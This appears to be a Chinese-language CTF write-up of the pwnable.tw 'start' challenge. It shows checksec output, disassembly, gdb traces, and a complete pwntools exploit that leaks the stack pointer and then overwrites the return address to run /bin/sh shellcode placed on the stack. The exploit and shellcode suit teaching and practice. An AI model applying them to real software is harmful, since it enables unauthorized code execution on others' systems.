题目地址:https://pwnable.tw/challenge/#1
pwnable.tw$ checksec start [*] '/home/pwn/桌面/pwnable.tw/start' Arch: i386-32-little RELRO: No RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x8048000) pwnable.tw$
什么保护都没有打开。
运行一下题目
pwnable.tw$ ./start Let's start the CTF:124545454545 pwnable.tw$ ./start Let's start the CTF:66666666666666666666666 [8] 5822 segmentation fault (core dumped) ./start pwnable.tw$
输入长一点就段错误了。
打开IDA发现就一个_start 啥都没有了
这里从ELF 文件来看是汇编写的
.text:08048060 public _start .text:08048060 _start proc near ; DATA XREF: LOAD:08048018↑o .text:08048060 push esp .text:08048061 push offset _exit .text:08048066 xor eax, eax .text:08048068 xor ebx, ebx .text:0804806A xor ecx, ecx .text:0804806C xor edx, edx .text:0804806E push 3A465443h .text:08048073 push 20656874h .text:08048078 push 20747261h .text:0804807D push 74732073h .text:08048082 push 2774654Ch .text:08048087 mov ecx, esp ; addr .text:08048089 mov dl, 14h ; len .text:0804808B mov bl, 1 ; fd .text:0804808D mov al, 4 .text:0804808F int 80h ; LINUX - sys_write .text:08048091 xor ebx, ebx .text:08048093 mov dl, 3Ch .text:08048095 mov al, 3 .text:08048097 int 80h ; LINUX - .text:08048099 add esp, 14h .text:0804809C ret
有点奇怪的是,一般来说、函数的开头都是
push ebp mov ebp, esp
这里直接是esp
具体的esp 和ebp 的区别在于
参考:https://zhuanlan.zhihu.com/p/692696035
分别给eax,ebx,ecx,edx赋值(4,1,esp,20),然后int 80h系统调用
清ebx,给eax,edx赋值(3,60),然后int 80h系统调用
可以翻译成如下c的伪代码:
write(1,esp,20); // 从栈上读20个字节到标准输出(读内存) read(0,esp,60); // 从标准输入写60个字节到栈上(写内存)
运行程序进行测试、
pwnable.tw$ gdb start GNU gdb (Ubuntu 9.1-0ubuntu1) 9.1 Copyright (C) 2020 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details. This GDB was configured as "x86_64-linux-gnu". Type "show configuration" for configuration details. For bug reporting instructions, please see: <http://www.gnu.org/software/gdb/bugs/>. Find the GDB manual and other documentation resources online at: <http://www.gnu.org/software/gdb/documentation/>. For help, type "help". Type "apropos word" to search for commands related to "word"... pwndbg: loaded 192 commands. Type pwndbg [filter] for a list. pwndbg: created $rebase, $ida gdb functions (can be used with print/break) Reading symbols from start... (No debugging symbols found in start) pwndbg> r Starting program: /home/pwn/桌面/pwnable.tw/start Let's start the CTF:11111111111111111111111 Program received signal SIGSEGV, Segmentation fault. 0x0a313131 in ?? () LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA ───────────────────────────────────[ REGISTERS ]──────────────────────────────────── EAX 0x18 EBX 0x0 ECX 0xffffd204 ◂— 0x31313131 ('1111') EDX 0x3c EDI 0x0 ESI 0x0 EBP 0x0 ESP 0xffffd21c —▸ 0xffffd220 ◂— 0x1 EIP 0xa313131 ('111\n') ─────────────────────────────────────[ DISASM ]───────────────────────────────────── Invalid address 0xa313131z
这里溢出了1111 直接是认为是地址了。
首先泄露之前的esp
然后布置shellcode到栈上,并且计算相应的返回地址覆盖eip
画图所示
from pwn import * context(os='linux',arch='i386',log_level='debug') shellcode = b"\x31\xc0\x50\x68\x2f\x2f\x73" shellcode += b"\x68\x68\x2f\x62\x69\x6e\x89" shellcode += b"\xe3\x89\xc1\x89\xc2\xb0\x0b" shellcode += b"\xcd\x80\x31\xc0\x40\xcd\x80" print(len(shellcode)) myelf = ELF("./start") io = process(myelf.path) payload =b"a"*20 payload += p32(0x08048087) io.recv() io.send(payload) oldesp = u32(io.recv(4)) io.recv() payload = b"a"*20 payload += p32(oldesp+20) payload += shellcode io.send(payload) io.interactive()